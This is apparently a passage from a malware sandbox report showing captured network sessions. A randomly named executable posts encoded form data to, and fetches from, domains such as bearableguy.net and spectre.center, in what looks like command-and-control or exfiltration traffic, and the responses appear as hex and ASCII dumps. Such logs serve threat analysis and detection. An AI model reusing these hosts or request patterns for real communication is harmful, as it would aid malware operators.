                                                                                                                                                                                                      Data Ascii: LvYDDv8X=28Mj+xGef4EoFbKn43FbVC6jkLZiKTIUJp73hISdLF8xST8mDD17zwRPJEPxgXw9iyMa2MAB2As2jhNmDlvv79V98g83Aw11E4yHFE4ScLNRtxdJAeLnxRRNwdsYjEhxy2+pqrTIzCmXdmdScWRv4upAft+pmdeeC2wvF6zHNl/6tYQiw+IHWd4WfgifPJtqybauG55J9t8oaQSgeiJcXoqIwbhc/0wyepZRh0j8XtAHkxoqmHScTR1g0BSKKpVVxu+QKl0Bct8msLrzHaO2u3ATp0gwzyLT1hlAGlauKziwNbtMsWa8rBxejcun7hnmDHTOAfsQcz+jy+fCzKabed8vHKYqiKUHlbK8zKY/CzhpGK00+8UqCNjFSXV0D0gzvdC2K+jwVvyotZl9AOT9WGaTvnEbmJgFhnVVP0VczTMqt0OYShbjDugpFYEBnABupT6VGhgkGKGfuuQwlowyQhqrgQ9YH6ULs7OA3jtVfxwA6tzuRUz1KJB7U8KKgiR7xnsFcXEG+4jEPxrJciCqn9Sx/hJeHXWJwhj73CZ8BWTdeEjYJICXg3eeByBd7/bmYiZgZfb6sjPdngr1iCc2M+T4K09/VkgEMi6sPf8fWUXmd+z0H1FkFENePQQNHWOg6tlfOxgmimDN3phcT7+LIQNPZu/bM/2CaJKYG2m2H2JDva3oToCaFi+C/sd2JJl9o6wbUoS/tF75Z0HtBE9Je1MWIttpZhQQ6XyL2DJpZYx55vaCEtTcnf3v9fyOBe/TNG2gIZKLeDFzt8EX/y4hYUjbarM0U60zyNV+ZcXaR04xo0DmPWil2mO+486Mu3YVuV0ohZDW0p9Jgq5OFZk+7GyCZxOhxYvLIieBXa3FZtgyNJbeRjq/G5TNKazgTLuPv7r7UwypT8AbpludsYCSz/VAkcVUterWtEheBFXiHpTwldWf2rAed3ie57Pi3P2mPpnEBu7WNTgQswUU7dBUZpmLssKvf9SyS0H/0Uj+X1C [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:45:47.342699051 CEST533INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:47 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 389
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      16192.168.2.665413203.161.41.205804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:49.329020977 CEST515OUTGET /guro/?LvYDDv8X=7+kD9FiWdLQbO7Xh4mp3Tzq63KAmHikwKr+gs46wKWEdWXZTCgAq3DZWNFT071I6kRcf0adkrwgUpAlbIxvs7cAArWMlAwNpRrfOJzoWRq41jR5NYsvT6RMZs9kG2mNz8WT2+dw=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.paysom.xyz
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:45:49.916446924 CEST548INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:49 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 389
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      17192.168.2.6654143.33.130.190804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:55.116178989 CEST772OUTPOST /swj2/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.bearableguy.net
                                                                                                                                                                                                      Origin: http://www.bearableguy.net
                                                                                                                                                                                                      Referer: http://www.bearableguy.net/swj2/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 43 32 30 4c 76 73 71 76 6a 34 55 57 2f 71 46 42 30 31 64 68 50 7a 69 76 54 4b 6c 30 33 6d 2b 36 47 4f 41 59 43 59 6d 6e 73 6a 74 42 77 73 44 39 44 39 66 4d 4d 44 2f 57 4d 46 44 56 30 79 54 64 4a 61 48 7a 4c 4d 4a 47 5a 44 6b 67 33 67 49 47 47 4e 64 57 77 44 75 64 70 2b 51 2b 7a 53 63 74 6d 49 4e 4c 45 47 59 50 30 6c 68 6e 37 55 4d 4c 6f 42 6f 64 47 74 67 71 56 6e 4e 6a 72 42 39 6c 2b 49 61 2b 6b 69 4e 30 4d 46 54 73 67 73 44 33 66 31 4a 68 79 56 69 77 5a 45 36 78 61 33 72 4c 77 53 34 61 42 6b 73 35 74 74 65 4e 54 6e 33 67 45 59 66 66 47 52 49 44 65 67 72 35 70 57 36 4f 55 4d 51 4e 46 57 72 6f 33 35 36 48
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=C20Lvsqvj4UW/qFB01dhPzivTKl03m+6GOAYCYmnsjtBwsD9D9fMMD/WMFDV0yTdJaHzLMJGZDkg3gIGGNdWwDudp+Q+zSctmINLEGYP0lhn7UMLoBodGtgqVnNjrB9l+Ia+kiN0MFTsgsD3f1JhyViwZE6xa3rLwS4aBks5tteNTn3gEYffGRIDegr5pW6OUMQNFWro356H


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      18192.168.2.6654153.33.130.190804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:57.659606934 CEST796OUTPOST /swj2/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.bearableguy.net
                                                                                                                                                                                                      Origin: http://www.bearableguy.net
                                                                                                                                                                                                      Referer: http://www.bearableguy.net/swj2/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 43 32 30 4c 76 73 71 76 6a 34 55 57 38 4c 56 42 79 53 78 68 49 54 69 75 51 4b 6c 30 39 47 2b 45 47 4f 4d 59 43 5a 7a 2f 73 52 5a 42 7a 49 4c 39 43 38 66 4d 4a 44 2f 57 43 6c 44 51 36 53 54 57 4a 62 37 52 4c 4e 31 47 5a 44 77 67 33 67 59 47 48 2b 46 4a 68 44 75 54 6a 75 51 38 75 69 63 74 6d 49 4e 4c 45 47 4e 71 30 6d 52 6e 37 6b 38 4c 6f 6b 45 65 61 64 67 6c 46 48 4e 6a 67 68 39 68 2b 49 61 4d 6b 6d 46 4f 4d 47 37 73 67 73 54 33 66 45 4a 69 38 6c 69 32 64 45 37 39 4c 55 47 5a 33 30 39 58 48 58 73 55 35 4e 65 6c 66 78 32 36 59 72 66 38 55 42 6f 42 65 69 7a 4c 70 32 36 6b 57 4d 6f 4e 58 42 6e 50 34 4e 66 6b 45 33 4d 6f 61 35 79 6c 6c 39 48 2b 31 67 47 2f 78 30 73 52 42 67 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=C20Lvsqvj4UW8LVBySxhITiuQKl09G+EGOMYCZz/sRZBzIL9C8fMJD/WClDQ6STWJb7RLN1GZDwg3gYGH+FJhDuTjuQ8uictmINLEGNq0mRn7k8LokEeadglFHNjgh9h+IaMkmFOMG7sgsT3fEJi8li2dE79LUGZ309XHXsU5Nelfx26Yrf8UBoBeizLp26kWMoNXBnP4NfkE3Moa5yll9H+1gG/x0sRBg==


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      19192.168.2.6654163.33.130.190804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:00.212304115 CEST1809OUTPOST /swj2/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.bearableguy.net
                                                                                                                                                                                                      Origin: http://www.bearableguy.net
                                                                                                                                                                                                      Referer: http://www.bearableguy.net/swj2/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 43 32 30 4c 76 73 71 76 6a 34 55 57 38 4c 56 42 79 53 78 68 49 54 69 75 51 4b 6c 30 39 47 2b 45 47 4f 4d 59 43 5a 7a 2f 73 52 68 42 7a 36 54 39 44 65 33 4d 4b 44 2f 57 4b 46 44 52 36 53 54 78 4a 61 54 56 4c 4e 35 73 5a 41 49 67 6c 54 67 47 50 76 46 4a 6f 44 75 54 74 2b 51 39 7a 53 63 30 6d 49 64 50 45 47 64 71 30 6d 52 6e 37 6e 6b 4c 68 52 6f 65 59 64 67 71 56 6e 4e 2f 72 42 39 4a 2b 4d 4f 6d 6b 6d 49 73 4d 32 62 73 67 49 50 33 64 57 52 69 36 31 69 30 61 45 36 67 4c 55 4c 48 33 30 4a 68 48 55 77 2b 35 4b 65 6c 64 41 44 6a 4e 5a 4c 61 49 58 42 6d 4c 43 62 41 73 52 43 39 65 61 67 44 52 79 72 79 34 4d 62 4d 46 53 51 2b 52 4b 62 66 6b 63 50 50 35 51 37 30 79 30 31 45 61 31 39 4a 74 65 43 77 4b 75 65 4d 57 30 42 70 72 6f 38 31 4d 66 6f 4a 52 78 43 65 70 31 74 54 65 48 46 7a 62 50 7a 65 37 46 2f 49 58 69 41 6e 78 37 6b 49 42 59 53 64 52 49 50 41 78 49 55 51 4d 73 38 2f 4b 34 48 78 65 4f 79 69 78 59 62 35 65 63 32 31 4b 2b 4f 6a 2f 45 35 4f 6b 4d 66 31 50 51 73 39 39 59 61 70 57 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=C20Lvsqvj4UW8LVBySxhITiuQKl09G+EGOMYCZz/sRhBz6T9De3MKD/WKFDR6STxJaTVLN5sZAIglTgGPvFJoDuTt+Q9zSc0mIdPEGdq0mRn7nkLhRoeYdgqVnN/rB9J+MOmkmIsM2bsgIP3dWRi61i0aE6gLULH30JhHUw+5KeldADjNZLaIXBmLCbAsRC9eagDRyry4MbMFSQ+RKbfkcPP5Q70y01Ea19JteCwKueMW0Bpro81MfoJRxCep1tTeHFzbPze7F/IXiAnx7kIBYSdRIPAxIUQMs8/K4HxeOyixYb5ec21K+Oj/E5OkMf1PQs99YapWpSsUAr5hq+Px8a5U93WpAwNONxGVdxa232YWiPZEaeiCMDlyws3WxutQpJQNPzx89ZSRe8YySm4sAXgRib3gI6tTqk6NnPDznJZP25XC7A/Zd/zk+XSsdpFGefzHTkMVfmir84PW+gU/dQGhVdKOIlxkYExoZfV4XD+0ZXBvJ8ETZeUmzy+hZ4a3N+c6Bo+xOqnr/CkNH1/CpEfOCUVN5z4IQziG1I7Kf8eTl5c7igCY/kcwyQiHnUvoH+ab2whLi5IqSQ7c+gAW69sgESQ7Tc9IkejEDCetxbUQT682u5xMamr1z1unsCo1N/Hh86jWeNb2uxlQN6AzlWubbZsPzEuCkVfrBtPU0UTN2EUAslzc3V0pczR15cqsAMQO6PAj2PArP7ZZv4E5lm/osfpL4zJfeTl22GcvKeGeJA8lA8UKzbv2clU3+jEJnxa1zlya/8ve0jbB+r2g7C2Cd5Q9ikduDy/oHjqO8GpCqsJRhBbOGgFZPs/UW1NeUNwqWft8D2trMySioAoFE2yF0oCRm7tWF1H2v2D2Tl1XfNk7WbMSN3yoM+HajK5nA2Ckt7RgiLEXMjFhkY7bDiVE0AQToZXlGQFSQv2gdJBe4BHPCq8kzvNk35yP2c7mniHeTvSFflG3Jtf2Pw8slYRujnlmcepyObhpCKPqAU [TRUNCATED]


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      20192.168.2.6654173.33.130.190804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:02.754251957 CEST520OUTGET /swj2/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=P0crsamxtuU6gq442A5JVDLtFaQ272SuKPgrEa6KpDZhy5jCC+7AJhWiOHv/kCv6EaT0CLlKbyEmlyMFHr9gqy/Rx4gVxCgL9ZF7OWRsxm8H7EEN0SU8QZNgTStrqSBx97+TlGs= HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.bearableguy.net
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:46:03.219578981 CEST423INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:03 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 283
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 75 44 65 38 6f 3d 48 6e 4d 30 5a 6e 34 30 51 74 67 58 74 4e 6b 30 26 4c 76 59 44 44 76 38 58 3d 50 30 63 72 73 61 6d 78 74 75 55 36 67 71 34 34 32 41 35 4a 56 44 4c 74 46 61 51 32 37 32 53 75 4b 50 67 72 45 61 36 4b 70 44 5a 68 79 35 6a 43 43 2b 37 41 4a 68 57 69 4f 48 76 2f 6b 43 76 36 45 61 54 30 43 4c 6c 4b 62 79 45 6d 6c 79 4d 46 48 72 39 67 71 79 2f 52 78 34 67 56 78 43 67 4c 39 5a 46 37 4f 57 52 73 78 6d 38 48 37 45 45 4e 30 53 55 38 51 5a 4e 67 54 53 74 72 71 53 42 78 39 37 2b 54 6c 47 73 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=P0crsamxtuU6gq442A5JVDLtFaQ272SuKPgrEa6KpDZhy5jCC+7AJhWiOHv/kCv6EaT0CLlKbyEmlyMFHr9gqy/Rx4gVxCgL9ZF7OWRsxm8H7EEN0SU8QZNgTStrqSBx97+TlGs="}</script></head></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      21192.168.2.6654185.39.10.93804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:16.870687008 CEST769OUTPOST /mfnh/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.spectre.center
                                                                                                                                                                                                      Origin: http://www.spectre.center
                                                                                                                                                                                                      Referer: http://www.spectre.center/mfnh/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 6a 67 34 79 78 4b 41 36 6b 39 43 46 46 69 56 6c 79 51 2f 53 66 44 7a 46 6c 31 67 42 7a 6c 63 69 55 70 65 75 48 55 69 52 65 2b 36 36 33 45 41 76 79 39 31 6f 76 51 2b 38 2f 4f 6c 43 6a 50 48 75 4e 76 53 53 53 4c 54 41 72 50 38 77 43 58 46 51 7a 69 41 57 46 73 66 68 37 5a 47 43 61 54 61 43 47 79 75 65 32 69 73 61 48 5a 53 61 67 5a 67 63 2b 48 6a 50 34 33 73 31 4c 30 75 5a 4f 58 47 79 6b 67 65 69 4d 72 43 4d 7a 5a 2f 70 76 4a 46 2b 64 6b 6d 49 44 37 41 55 72 46 79 50 6c 74 53 42 4e 41 30 76 72 42 65 67 64 73 55 55 53 76 6c 39 6b 59 79 55 55 51 4e 58 36 37 35 47 44 47 4f 2f 70 2f 78 63 78 73 47 37 74 49 75 66
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=jg4yxKA6k9CFFiVlyQ/SfDzFl1gBzlciUpeuHUiRe+663EAvy91ovQ+8/OlCjPHuNvSSSLTArP8wCXFQziAWFsfh7ZGCaTaCGyue2isaHZSagZgc+HjP43s1L0uZOXGykgeiMrCMzZ/pvJF+dkmID7AUrFyPltSBNA0vrBegdsUUSvl9kYyUUQNX675GDGO/p/xcxsG7tIuf
                                                                                                                                                                                                      Oct 9, 2024 14:46:17.457036018 CEST354INHTTP/1.1 403 Forbidden
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:17 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                      Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      22192.168.2.6654195.39.10.93804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:19.410259962 CEST793OUTPOST /mfnh/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.spectre.center
                                                                                                                                                                                                      Origin: http://www.spectre.center
                                                                                                                                                                                                      Referer: http://www.spectre.center/mfnh/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 6a 67 34 79 78 4b 41 36 6b 39 43 46 45 43 6c 6c 69 43 58 53 59 6a 7a 4b 37 6c 67 42 70 56 63 6d 55 70 53 75 48 55 4b 42 66 4d 75 36 30 6b 77 76 7a 2b 74 6f 38 67 2b 38 33 75 6c 39 6e 50 48 77 4e 76 65 67 53 4f 72 41 72 50 34 77 43 58 56 51 30 52 59 56 45 38 66 6e 79 35 47 63 65 54 61 43 47 79 75 65 32 69 35 4e 48 64 2b 61 68 70 51 63 73 32 6a 49 77 58 73 30 62 45 75 5a 45 48 47 32 6b 67 66 48 4d 70 6d 69 7a 61 48 70 76 4e 42 2b 64 78 47 4c 4b 37 41 53 32 31 79 66 6d 66 37 73 43 67 30 75 70 77 47 33 4b 75 30 53 61 35 6b 6e 34 72 79 33 47 41 74 56 36 35 68 30 44 6d 4f 56 72 2f 4a 63 6a 37 4b 63 69 38 4c 38 64 2b 2b 2b 42 35 6c 42 77 6b 6c 67 6b 35 33 30 30 6c 67 79 4a 41 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=jg4yxKA6k9CFEClliCXSYjzK7lgBpVcmUpSuHUKBfMu60kwvz+to8g+83ul9nPHwNvegSOrArP4wCXVQ0RYVE8fny5GceTaCGyue2i5NHd+ahpQcs2jIwXs0bEuZEHG2kgfHMpmizaHpvNB+dxGLK7AS21yfmf7sCg0upwG3Ku0Sa5kn4ry3GAtV65h0DmOVr/Jcj7Kci8L8d+++B5lBwklgk5300lgyJA==
                                                                                                                                                                                                      Oct 9, 2024 14:46:19.998495102 CEST354INHTTP/1.1 403 Forbidden
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:19 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
